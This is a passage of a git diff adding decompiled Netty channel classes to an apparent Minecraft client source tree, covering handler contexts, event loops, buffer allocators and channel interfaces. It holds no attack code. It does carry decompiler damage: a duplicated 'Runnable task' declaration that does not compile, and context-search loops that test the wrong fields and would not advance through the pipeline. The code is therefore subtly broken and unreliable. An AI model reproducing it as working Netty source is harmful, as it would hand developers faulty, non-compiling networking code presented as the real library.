+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelHandlerContext fireChannelRead(final Object msg)
+  {
+    if (msg == null) {
+      throw new NullPointerException("msg");
+    }
+    
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeChannelRead(msg);
+    } else {
+      executor.execute(new OneTimeTask()
+      {
+        public void run() {
+          next.invokeChannelRead(msg);
+        }
+      });
+    }
+    return this;
+  }
+  
+  private void invokeChannelRead(Object msg) {
+    try {
+      ((ChannelInboundHandler)handler()).channelRead(this, msg);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelHandlerContext fireChannelReadComplete()
+  {
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeChannelReadComplete();
+    } else {
+      Runnable task = invokeChannelReadCompleteTask;
+      if (task == null) {
+        invokeChannelReadCompleteTask = (task = new Runnable()
+        {
+          public void run() {
+            next.invokeChannelReadComplete();
+          }
+        });
+      }
+      executor.execute(task);
+    }
+    return this;
+  }
+  
+  private void invokeChannelReadComplete() {
+    try {
+      ((ChannelInboundHandler)handler()).channelReadComplete(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelHandlerContext fireChannelWritabilityChanged()
+  {
+    final AbstractChannelHandlerContext next = findContextInbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeChannelWritabilityChanged();
+    } else {
+      Runnable task = invokeChannelWritableStateChangedTask;
+      if (task == null) {
+        invokeChannelWritableStateChangedTask = (task = new Runnable()
+        {
+          public void run() {
+            next.invokeChannelWritabilityChanged();
+          }
+        });
+      }
+      executor.execute(task);
+    }
+    return this;
+  }
+  
+  private void invokeChannelWritabilityChanged() {
+    try {
+      ((ChannelInboundHandler)handler()).channelWritabilityChanged(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelFuture bind(SocketAddress localAddress)
+  {
+    return bind(localAddress, newPromise());
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress)
+  {
+    return connect(remoteAddress, newPromise());
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, SocketAddress localAddress)
+  {
+    return connect(remoteAddress, localAddress, newPromise());
+  }
+  
+  public ChannelFuture disconnect()
+  {
+    return disconnect(newPromise());
+  }
+  
+  public ChannelFuture close()
+  {
+    return close(newPromise());
+  }
+  
+  public ChannelFuture deregister()
+  {
+    return deregister(newPromise());
+  }
+  
+  public ChannelFuture bind(final SocketAddress localAddress, final ChannelPromise promise)
+  {
+    if (localAddress == null) {
+      throw new NullPointerException("localAddress");
+    }
+    if (!validatePromise(promise, false))
+    {
+      return promise;
+    }
+    
+    final AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeBind(localAddress, promise);
+    } else {
+      safeExecute(executor, new OneTimeTask()
+      {
+
+        public void run() { next.invokeBind(localAddress, promise); } }, promise, null);
+    }
+    
+
+
+    return promise;
+  }
+  
+  private void invokeBind(SocketAddress localAddress, ChannelPromise promise) {
+    try {
+      ((ChannelOutboundHandler)handler()).bind(this, localAddress, promise);
+    } catch (Throwable t) {
+      notifyOutboundHandlerException(t, promise);
+    }
+  }
+  
+  public ChannelFuture connect(SocketAddress remoteAddress, ChannelPromise promise)
+  {
+    return connect(remoteAddress, null, promise);
+  }
+  
+
+
+  public ChannelFuture connect(final SocketAddress remoteAddress, final SocketAddress localAddress, final ChannelPromise promise)
+  {
+    if (remoteAddress == null) {
+      throw new NullPointerException("remoteAddress");
+    }
+    if (!validatePromise(promise, false))
+    {
+      return promise;
+    }
+    
+    final AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeConnect(remoteAddress, localAddress, promise);
+    } else {
+      safeExecute(executor, new OneTimeTask()
+      {
+
+        public void run() { next.invokeConnect(remoteAddress, localAddress, promise); } }, promise, null);
+    }
+    
+
+
+    return promise;
+  }
+  
+  private void invokeConnect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
+    try {
+      ((ChannelOutboundHandler)handler()).connect(this, remoteAddress, localAddress, promise);
+    } catch (Throwable t) {
+      notifyOutboundHandlerException(t, promise);
+    }
+  }
+  
+  public ChannelFuture disconnect(final ChannelPromise promise)
+  {
+    if (!validatePromise(promise, false))
+    {
+      return promise;
+    }
+    
+    final AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop())
+    {
+
+      if (!channel().metadata().hasDisconnect()) {
+        next.invokeClose(promise);
+      } else {
+        next.invokeDisconnect(promise);
+      }
+    } else {
+      safeExecute(executor, new OneTimeTask()
+      {
+        public void run() {
+          if (!channel().metadata().hasDisconnect()) {
+            next.invokeClose(promise);
+          } else
+            next.invokeDisconnect(promise); } }, promise, null);
+    }
+    
+
+
+
+    return promise;
+  }
+  
+  private void invokeDisconnect(ChannelPromise promise) {
+    try {
+      ((ChannelOutboundHandler)handler()).disconnect(this, promise);
+    } catch (Throwable t) {
+      notifyOutboundHandlerException(t, promise);
+    }
+  }
+  
+  public ChannelFuture close(final ChannelPromise promise)
+  {
+    if (!validatePromise(promise, false))
+    {
+      return promise;
+    }
+    
+    final AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeClose(promise);
+    } else {
+      safeExecute(executor, new OneTimeTask()
+      {
+
+        public void run() { next.invokeClose(promise); } }, promise, null);
+    }
+    
+
+
+    return promise;
+  }
+  
+  private void invokeClose(ChannelPromise promise) {
+    try {
+      ((ChannelOutboundHandler)handler()).close(this, promise);
+    } catch (Throwable t) {
+      notifyOutboundHandlerException(t, promise);
+    }
+  }
+  
+  public ChannelFuture deregister(final ChannelPromise promise)
+  {
+    if (!validatePromise(promise, false))
+    {
+      return promise;
+    }
+    
+    final AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeDeregister(promise);
+    } else {
+      safeExecute(executor, new OneTimeTask()
+      {
+
+        public void run() { next.invokeDeregister(promise); } }, promise, null);
+    }
+    
+
+
+    return promise;
+  }
+  
+  private void invokeDeregister(ChannelPromise promise) {
+    try {
+      ((ChannelOutboundHandler)handler()).deregister(this, promise);
+    } catch (Throwable t) {
+      notifyOutboundHandlerException(t, promise);
+    }
+  }
+  
+  public ChannelHandlerContext read()
+  {
+    final AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeRead();
+    } else {
+      Runnable task = invokeReadTask;
+      if (task == null) {
+        invokeReadTask = (task = new Runnable()
+        {
+          public void run() {
+            next.invokeRead();
+          }
+        });
+      }
+      executor.execute(task);
+    }
+    
+    return this;
+  }
+  
+  private void invokeRead() {
+    try {
+      ((ChannelOutboundHandler)handler()).read(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelFuture write(Object msg)
+  {
+    return write(msg, newPromise());
+  }
+  
+  public ChannelFuture write(Object msg, ChannelPromise promise)
+  {
+    if (msg == null) {
+      throw new NullPointerException("msg");
+    }
+    
+    if (!validatePromise(promise, true)) {
+      ReferenceCountUtil.release(msg);
+      
+      return promise;
+    }
+    write(msg, false, promise);
+    
+    return promise;
+  }
+  
+  private void invokeWrite(Object msg, ChannelPromise promise) {
+    try {
+      ((ChannelOutboundHandler)handler()).write(this, msg, promise);
+    } catch (Throwable t) {
+      notifyOutboundHandlerException(t, promise);
+    }
+  }
+  
+  public ChannelHandlerContext flush()
+  {
+    final AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeFlush();
+    } else {
+      Runnable task = invokeFlushTask;
+      if (task == null) {
+        invokeFlushTask = (task = new Runnable()
+        {
+          public void run() {
+            next.invokeFlush();
+          }
+        });
+      }
+      safeExecute(executor, task, channel.voidPromise(), null);
+    }
+    
+    return this;
+  }
+  
+  private void invokeFlush() {
+    try {
+      ((ChannelOutboundHandler)handler()).flush(this);
+    } catch (Throwable t) {
+      notifyHandlerException(t);
+    }
+  }
+  
+  public ChannelFuture writeAndFlush(Object msg, ChannelPromise promise)
+  {
+    if (msg == null) {
+      throw new NullPointerException("msg");
+    }
+    
+    if (!validatePromise(promise, true)) {
+      ReferenceCountUtil.release(msg);
+      
+      return promise;
+    }
+    
+    write(msg, true, promise);
+    
+    return promise;
+  }
+  
+  private void write(Object msg, boolean flush, ChannelPromise promise)
+  {
+    AbstractChannelHandlerContext next = findContextOutbound();
+    EventExecutor executor = next.executor();
+    if (executor.inEventLoop()) {
+      next.invokeWrite(msg, promise);
+      if (flush) {
+        next.invokeFlush();
+      }
+    } else {
+      int size = channel.estimatorHandle().size(msg);
+      if (size > 0) {
+        ChannelOutboundBuffer buffer = channel.unsafe().outboundBuffer();
+        
+        if (buffer != null)
+          buffer.incrementPendingOutboundBytes(size);
+      }
+      Runnable task;
+      Runnable task;
+      if (flush) {
+        task = WriteAndFlushTask.newInstance(next, msg, size, promise);
+      } else {
+        task = WriteTask.newInstance(next, msg, size, promise);
+      }
+      safeExecute(executor, task, promise, msg);
+    }
+  }
+  
+  public ChannelFuture writeAndFlush(Object msg)
+  {
+    return writeAndFlush(msg, newPromise());
+  }
+  
+
+  private static void notifyOutboundHandlerException(Throwable cause, ChannelPromise promise)
+  {
+    if ((promise instanceof VoidChannelPromise)) {
+      return;
+    }
+    
+    if ((!promise.tryFailure(cause)) && 
+      (DefaultChannelPipeline.logger.isWarnEnabled())) {
+      DefaultChannelPipeline.logger.warn("Failed to fail the promise because it's done already: {}", promise, cause);
+    }
+  }
+  
+  private void notifyHandlerException(Throwable cause)
+  {
+    if (inExceptionCaught(cause)) {
+      if (DefaultChannelPipeline.logger.isWarnEnabled()) {
+        DefaultChannelPipeline.logger.warn("An exception was thrown by a user handler while handling an exceptionCaught event", cause);
+      }
+      
+
+      return;
+    }
+    
+    invokeExceptionCaught(cause);
+  }
+  
+  private static boolean inExceptionCaught(Throwable cause) {
+    do {
+      StackTraceElement[] trace = cause.getStackTrace();
+      if (trace != null) {
+        for (StackTraceElement t : trace) {
+          if (t == null) {
+            break;
+          }
+          if ("exceptionCaught".equals(t.getMethodName())) {
+            return true;
+          }
+        }
+      }
+      
+      cause = cause.getCause();
+    } while (cause != null);
+    
+    return false;
+  }
+  
+  public ChannelPromise newPromise()
+  {
+    return new DefaultChannelPromise(channel(), executor());
+  }
+  
+  public ChannelProgressivePromise newProgressivePromise()
+  {
+    return new DefaultChannelProgressivePromise(channel(), executor());
+  }
+  
+  public ChannelFuture newSucceededFuture()
+  {
+    ChannelFuture succeededFuture = this.succeededFuture;
+    if (succeededFuture == null) {
+      this.succeededFuture = (succeededFuture = new SucceededChannelFuture(channel(), executor()));
+    }
+    return succeededFuture;
+  }
+  
+  public ChannelFuture newFailedFuture(Throwable cause)
+  {
+    return new FailedChannelFuture(channel(), executor(), cause);
+  }
+  
+  private boolean validatePromise(ChannelPromise promise, boolean allowVoidPromise) {
+    if (promise == null) {
+      throw new NullPointerException("promise");
+    }
+    
+    if (promise.isDone())
+    {
+
+
+
+      if (promise.isCancelled()) {
+        return false;
+      }
+      throw new IllegalArgumentException("promise already done: " + promise);
+    }
+    
+    if (promise.channel() != channel()) {
+      throw new IllegalArgumentException(String.format("promise.channel does not match: %s (expected: %s)", new Object[] { promise.channel(), channel() }));
+    }
+    
+
+    if (promise.getClass() == DefaultChannelPromise.class) {
+      return true;
+    }
+    
+    if ((!allowVoidPromise) && ((promise instanceof VoidChannelPromise))) {
+      throw new IllegalArgumentException(StringUtil.simpleClassName(VoidChannelPromise.class) + " not allowed for this operation");
+    }
+    
+
+    if ((promise instanceof AbstractChannel.CloseFuture)) {
+      throw new IllegalArgumentException(StringUtil.simpleClassName(AbstractChannel.CloseFuture.class) + " not allowed in a pipeline");
+    }
+    
+    return true;
+  }
+  
+  private AbstractChannelHandlerContext findContextInbound() {
+    AbstractChannelHandlerContext ctx = this;
+    do {
+      ctx = next;
+    } while (!inbound);
+    return ctx;
+  }
+  
+  private AbstractChannelHandlerContext findContextOutbound() {
+    AbstractChannelHandlerContext ctx = this;
+    do {
+      ctx = prev;
+    } while (!outbound);
+    return ctx;
+  }
+  
+  public ChannelPromise voidPromise()
+  {
+    return channel.voidPromise();
+  }
+  
+  void setRemoved() {
+    removed = true;
+  }
+  
+  public boolean isRemoved()
+  {
+    return removed;
+  }
+  
+  private static void safeExecute(EventExecutor executor, Runnable runnable, ChannelPromise promise, Object msg) {
+    try {
+      executor.execute(runnable);
+    } catch (Throwable cause) {
+      try {
+        promise.setFailure(cause);
+      } finally {
+        if (msg != null) {
+          ReferenceCountUtil.release(msg);
+        }
+      }
+    }
+  }
+  
+  static abstract class AbstractWriteTask extends RecyclableMpscLinkedQueueNode<Runnable> implements Runnable {
+    private AbstractChannelHandlerContext ctx;
+    private Object msg;
+    private ChannelPromise promise;
+    private int size;
+    
+    private AbstractWriteTask(Recycler.Handle handle) {
+      super();
+    }
+    
+    protected static void init(AbstractWriteTask task, AbstractChannelHandlerContext ctx, Object msg, int size, ChannelPromise promise)
+    {
+      task.ctx = ctx;
+      task.msg = msg;
+      task.promise = promise;
+      task.size = size;
+    }
+    
+    public final void run()
+    {
+      try {
+        if (size > 0) {
+          ChannelOutboundBuffer buffer = ctx.channel.unsafe().outboundBuffer();
+          
+          if (buffer != null) {
+            buffer.decrementPendingOutboundBytes(size);
+          }
+        }
+        write(ctx, msg, promise);
+      }
+      finally {
+        ctx = null;
+        msg = null;
+        promise = null;
+      }
+    }
+    
+    public Runnable value()
+    {
+      return this;
+    }
+    
+    protected void write(AbstractChannelHandlerContext ctx, Object msg, ChannelPromise promise) {
+      ctx.invokeWrite(msg, promise);
+    }
+  }
+  
+  static final class WriteTask extends AbstractChannelHandlerContext.AbstractWriteTask implements SingleThreadEventLoop.NonWakeupRunnable
+  {
+    private static final Recycler<WriteTask> RECYCLER = new Recycler()
+    {
+      protected AbstractChannelHandlerContext.WriteTask newObject(Recycler.Handle handle) {
+        return new AbstractChannelHandlerContext.WriteTask(handle, null);
+      }
+    };
+    
+    private static WriteTask newInstance(AbstractChannelHandlerContext ctx, Object msg, int size, ChannelPromise promise)
+    {
+      WriteTask task = (WriteTask)RECYCLER.get();
+      init(task, ctx, msg, size, promise);
+      return task;
+    }
+    
+    private WriteTask(Recycler.Handle handle) {
+      super(null);
+    }
+    
+    protected void recycle(Recycler.Handle handle)
+    {
+      RECYCLER.recycle(this, handle);
+    }
+  }
+  
+  static final class WriteAndFlushTask extends AbstractChannelHandlerContext.AbstractWriteTask
+  {
+    private static final Recycler<WriteAndFlushTask> RECYCLER = new Recycler()
+    {
+      protected AbstractChannelHandlerContext.WriteAndFlushTask newObject(Recycler.Handle handle) {
+        return new AbstractChannelHandlerContext.WriteAndFlushTask(handle, null);
+      }
+    };
+    
+    private static WriteAndFlushTask newInstance(AbstractChannelHandlerContext ctx, Object msg, int size, ChannelPromise promise)
+    {
+      WriteAndFlushTask task = (WriteAndFlushTask)RECYCLER.get();
+      init(task, ctx, msg, size, promise);
+      return task;
+    }
+    
+    private WriteAndFlushTask(Recycler.Handle handle) {
+      super(null);
+    }
+    
+    public void write(AbstractChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    {
+      super.write(ctx, msg, promise);
+      ctx.invokeFlush();
+    }
+    
+    protected void recycle(Recycler.Handle handle)
+    {
+      RECYCLER.recycle(this, handle);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/AbstractEventLoop.java b/src/minecraft/io/netty/channel/AbstractEventLoop.java
new file mode 100644
index 0000000..d567aa6
--- /dev/null
+++ b/src/minecraft/io/netty/channel/AbstractEventLoop.java
@@ -0,0 +1,41 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.AbstractEventExecutor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractEventLoop
+  extends AbstractEventExecutor
+  implements EventLoop
+{
+  protected AbstractEventLoop() {}
+  
+  protected AbstractEventLoop(EventLoopGroup parent)
+  {
+    super(parent);
+  }
+  
+  public EventLoopGroup parent()
+  {
+    return (EventLoopGroup)super.parent();
+  }
+  
+  public EventLoop next()
+  {
+    return (EventLoop)super.next();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/AbstractEventLoopGroup.java b/src/minecraft/io/netty/channel/AbstractEventLoopGroup.java
new file mode 100644
index 0000000..fec63ed
--- /dev/null
+++ b/src/minecraft/io/netty/channel/AbstractEventLoopGroup.java
@@ -0,0 +1,12 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.AbstractEventExecutorGroup;
+
+public abstract class AbstractEventLoopGroup
+  extends AbstractEventExecutorGroup
+  implements EventLoopGroup
+{
+  public AbstractEventLoopGroup() {}
+  
+  public abstract EventLoop next();
+}
diff --git a/src/minecraft/io/netty/channel/AbstractServerChannel.java b/src/minecraft/io/netty/channel/AbstractServerChannel.java
new file mode 100644
index 0000000..893cbd1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/AbstractServerChannel.java
@@ -0,0 +1,85 @@
+package io.netty.channel;
+
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractServerChannel
+  extends AbstractChannel
+  implements ServerChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  
+
+
+  protected AbstractServerChannel()
+  {
+    super(null);
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public SocketAddress remoteAddress()
+  {
+    return null;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return null;
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected AbstractChannel.AbstractUnsafe newUnsafe()
+  {
+    return new DefaultServerUnsafe(null);
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  protected final Object filterOutboundMessage(Object msg) { throw new UnsupportedOperationException(); }
+  
+  private final class DefaultServerUnsafe extends AbstractChannel.AbstractUnsafe {
+    private DefaultServerUnsafe() { super(); }
+    
+    public void connect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
+      safeSetFailure(promise, new UnsupportedOperationException());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/AdaptiveRecvByteBufAllocator.java b/src/minecraft/io/netty/channel/AdaptiveRecvByteBufAllocator.java
new file mode 100644
index 0000000..fd3ba5c
--- /dev/null
+++ b/src/minecraft/io/netty/channel/AdaptiveRecvByteBufAllocator.java
@@ -0,0 +1,182 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AdaptiveRecvByteBufAllocator
+  implements RecvByteBufAllocator
+{
+  static final int DEFAULT_MINIMUM = 64;
+  static final int DEFAULT_INITIAL = 1024;
+  static final int DEFAULT_MAXIMUM = 65536;
+  private static final int INDEX_INCREMENT = 4;
+  private static final int INDEX_DECREMENT = 1;
+  private static final int[] SIZE_TABLE;
+  
+  static
+  {
+    List<Integer> sizeTable = new ArrayList();
+    for (int i = 16; i < 512; i += 16) {
+      sizeTable.add(Integer.valueOf(i));
+    }
+    
+    for (int i = 512; i > 0; i <<= 1) {
+      sizeTable.add(Integer.valueOf(i));
+    }
+    
+    SIZE_TABLE = new int[sizeTable.size()];
+    for (int i = 0; i < SIZE_TABLE.length; i++) {
+      SIZE_TABLE[i] = ((Integer)sizeTable.get(i)).intValue();
+    }
+  }
+  
+  public static final AdaptiveRecvByteBufAllocator DEFAULT = new AdaptiveRecvByteBufAllocator();
+  private final int minIndex;
+  
+  private static int getSizeTableIndex(int size) { int low = 0;int high = SIZE_TABLE.length - 1;
+    for (;;) { if (high < low) {
+        return low;
+      }
+      if (high == low) {
+        return high;
+      }
+      
+      int mid = low + high >>> 1;
+      int a = SIZE_TABLE[mid];
+      int b = SIZE_TABLE[(mid + 1)];
+      if (size > b) {
+        low = mid + 1;
+      } else if (size < a) {
+        high = mid - 1;
+      } else { if (size == a) {
+          return mid;
+        }
+        return mid + 1;
+      }
+    }
+  }
+  
+  private static final class HandleImpl implements RecvByteBufAllocator.Handle {
+    private final int minIndex;
+    private final int maxIndex;
+    private int index;
+    private int nextReceiveBufferSize;
+    private boolean decreaseNow;
+    
+    HandleImpl(int minIndex, int maxIndex, int initial) {
+      this.minIndex = minIndex;
+      this.maxIndex = maxIndex;
+      
+      index = AdaptiveRecvByteBufAllocator.getSizeTableIndex(initial);
+      nextReceiveBufferSize = AdaptiveRecvByteBufAllocator.SIZE_TABLE[index];
+    }
+    
+    public ByteBuf allocate(ByteBufAllocator alloc)
+    {
+      return alloc.ioBuffer(nextReceiveBufferSize);
+    }
+    
+    public int guess()
+    {
+      return nextReceiveBufferSize;
+    }
+    
+    public void record(int actualReadBytes)
+    {
+      if (actualReadBytes <= AdaptiveRecvByteBufAllocator.SIZE_TABLE[Math.max(0, index - 1 - 1)]) {
+        if (decreaseNow) {
+          index = Math.max(index - 1, minIndex);
+          nextReceiveBufferSize = AdaptiveRecvByteBufAllocator.SIZE_TABLE[index];
+          decreaseNow = false;
+        } else {
+          decreaseNow = true;
+        }
+      } else if (actualReadBytes >= nextReceiveBufferSize) {
+        index = Math.min(index + 4, maxIndex);
+        nextReceiveBufferSize = AdaptiveRecvByteBufAllocator.SIZE_TABLE[index];
+        decreaseNow = false;
+      }
+    }
+  }
+  
+
+
+  private final int maxIndex;
+  
+
+  private final int initial;
+  
+
+  private AdaptiveRecvByteBufAllocator()
+  {
+    this(64, 1024, 65536);
+  }
+  
+
+
+
+
+
+
+  public AdaptiveRecvByteBufAllocator(int minimum, int initial, int maximum)
+  {
+    if (minimum <= 0) {
+      throw new IllegalArgumentException("minimum: " + minimum);
+    }
+    if (initial < minimum) {
+      throw new IllegalArgumentException("initial: " + initial);
+    }
+    if (maximum < initial) {
+      throw new IllegalArgumentException("maximum: " + maximum);
+    }
+    
+    int minIndex = getSizeTableIndex(minimum);
+    if (SIZE_TABLE[minIndex] < minimum) {
+      this.minIndex = (minIndex + 1);
+    } else {
+      this.minIndex = minIndex;
+    }
+    
+    int maxIndex = getSizeTableIndex(maximum);
+    if (SIZE_TABLE[maxIndex] > maximum) {
+      this.maxIndex = (maxIndex - 1);
+    } else {
+      this.maxIndex = maxIndex;
+    }
+    
+    this.initial = initial;
+  }
+  
+  public RecvByteBufAllocator.Handle newHandle()
+  {
+    return new HandleImpl(minIndex, maxIndex, initial);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/AddressedEnvelope.java b/src/minecraft/io/netty/channel/AddressedEnvelope.java
new file mode 100644
index 0000000..69bd048
--- /dev/null
+++ b/src/minecraft/io/netty/channel/AddressedEnvelope.java
@@ -0,0 +1,14 @@
+package io.netty.channel;
+
+import io.netty.util.ReferenceCounted;
+import java.net.SocketAddress;
+
+public abstract interface AddressedEnvelope<M, A extends SocketAddress>
+  extends ReferenceCounted
+{
+  public abstract M content();
+  
+  public abstract A sender();
+  
+  public abstract A recipient();
+}
diff --git a/src/minecraft/io/netty/channel/Channel.java b/src/minecraft/io/netty/channel/Channel.java
new file mode 100644
index 0000000..4d9dc60
--- /dev/null
+++ b/src/minecraft/io/netty/channel/Channel.java
@@ -0,0 +1,114 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.AttributeMap;
+import java.net.SocketAddress;
+
+public abstract interface Channel
+  extends AttributeMap, Comparable<Channel>
+{
+  public abstract EventLoop eventLoop();
+  
+  public abstract Channel parent();
+  
+  public abstract ChannelConfig config();
+  
+  public abstract boolean isOpen();
+  
+  public abstract boolean isRegistered();
+  
+  public abstract boolean isActive();
+  
+  public abstract ChannelMetadata metadata();
+  
+  public abstract SocketAddress localAddress();
+  
+  public abstract SocketAddress remoteAddress();
+  
+  public abstract ChannelFuture closeFuture();
+  
+  public abstract boolean isWritable();
+  
+  public abstract Unsafe unsafe();
+  
+  public abstract ChannelPipeline pipeline();
+  
+  public abstract ByteBufAllocator alloc();
+  
+  public abstract ChannelPromise newPromise();
+  
+  public abstract ChannelProgressivePromise newProgressivePromise();
+  
+  public abstract ChannelFuture newSucceededFuture();
+  
+  public abstract ChannelFuture newFailedFuture(Throwable paramThrowable);
+  
+  public abstract ChannelPromise voidPromise();
+  
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2);
+  
+  public abstract ChannelFuture disconnect();
+  
+  public abstract ChannelFuture close();
+  
+  public abstract ChannelFuture deregister();
+  
+  public abstract ChannelFuture bind(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture disconnect(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture close(ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture deregister(ChannelPromise paramChannelPromise);
+  
+  public abstract Channel read();
+  
+  public abstract ChannelFuture write(Object paramObject);
+  
+  public abstract ChannelFuture write(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract Channel flush();
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject, ChannelPromise paramChannelPromise);
+  
+  public abstract ChannelFuture writeAndFlush(Object paramObject);
+  
+  public static abstract interface Unsafe
+  {
+    public abstract SocketAddress localAddress();
+    
+    public abstract SocketAddress remoteAddress();
+    
+    public abstract void register(EventLoop paramEventLoop, ChannelPromise paramChannelPromise);
+    
+    public abstract void bind(SocketAddress paramSocketAddress, ChannelPromise paramChannelPromise);
+    
+    public abstract void connect(SocketAddress paramSocketAddress1, SocketAddress paramSocketAddress2, ChannelPromise paramChannelPromise);
+    
+    public abstract void disconnect(ChannelPromise paramChannelPromise);
+    
+    public abstract void close(ChannelPromise paramChannelPromise);
+    
+    public abstract void closeForcibly();
+    
+    public abstract void deregister(ChannelPromise paramChannelPromise);
+    
+    public abstract void beginRead();
+    
+    public abstract void write(Object paramObject, ChannelPromise paramChannelPromise);
+    
+    public abstract void flush();
+    
+    public abstract ChannelPromise voidPromise();
+    
+    public abstract ChannelOutboundBuffer outboundBuffer();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ChannelConfig.java b/src/minecraft/io/netty/channel/ChannelConfig.java
new file mode 100644
index 0000000..6e24533
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelConfig.java
@@ -0,0 +1,57 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBufAllocator;
+import java.util.Map;
+
+public abstract interface ChannelConfig
+{
+  public abstract Map<ChannelOption<?>, Object> getOptions();
+  
+  public abstract boolean setOptions(Map<ChannelOption<?>, ?> paramMap);
+  
+  public abstract <T> T getOption(ChannelOption<T> paramChannelOption);
+  
+  public abstract <T> boolean setOption(ChannelOption<T> paramChannelOption, T paramT);
+  
+  public abstract int getConnectTimeoutMillis();
+  
+  public abstract ChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract int getMaxMessagesPerRead();
+  
+  public abstract ChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract int getWriteSpinCount();
+  
+  public abstract ChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract ByteBufAllocator getAllocator();
+  
+  public abstract ChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract RecvByteBufAllocator getRecvByteBufAllocator();
+  
+  public abstract ChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract boolean isAutoRead();
+  
+  public abstract ChannelConfig setAutoRead(boolean paramBoolean);
+  
+  @Deprecated
+  public abstract boolean isAutoClose();
+  
+  @Deprecated
+  public abstract ChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract int getWriteBufferHighWaterMark();
+  
+  public abstract ChannelConfig setWriteBufferHighWaterMark(int paramInt);
+  
+  public abstract int getWriteBufferLowWaterMark();
+  
+  public abstract ChannelConfig setWriteBufferLowWaterMark(int paramInt);
+  
+  public abstract MessageSizeEstimator getMessageSizeEstimator();
+  
+  public abstract ChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/ChannelDuplexHandler.java b/src/minecraft/io/netty/channel/ChannelDuplexHandler.java
new file mode 100644
index 0000000..42912aa
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ChannelDuplexHandler.java
@@ -0,0 +1,119 @@
+package io.netty.channel;
+
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelDuplexHandler
+  extends ChannelInboundHandlerAdapter
+  implements ChannelOutboundHandler
+{
+  public ChannelDuplexHandler() {}
+  
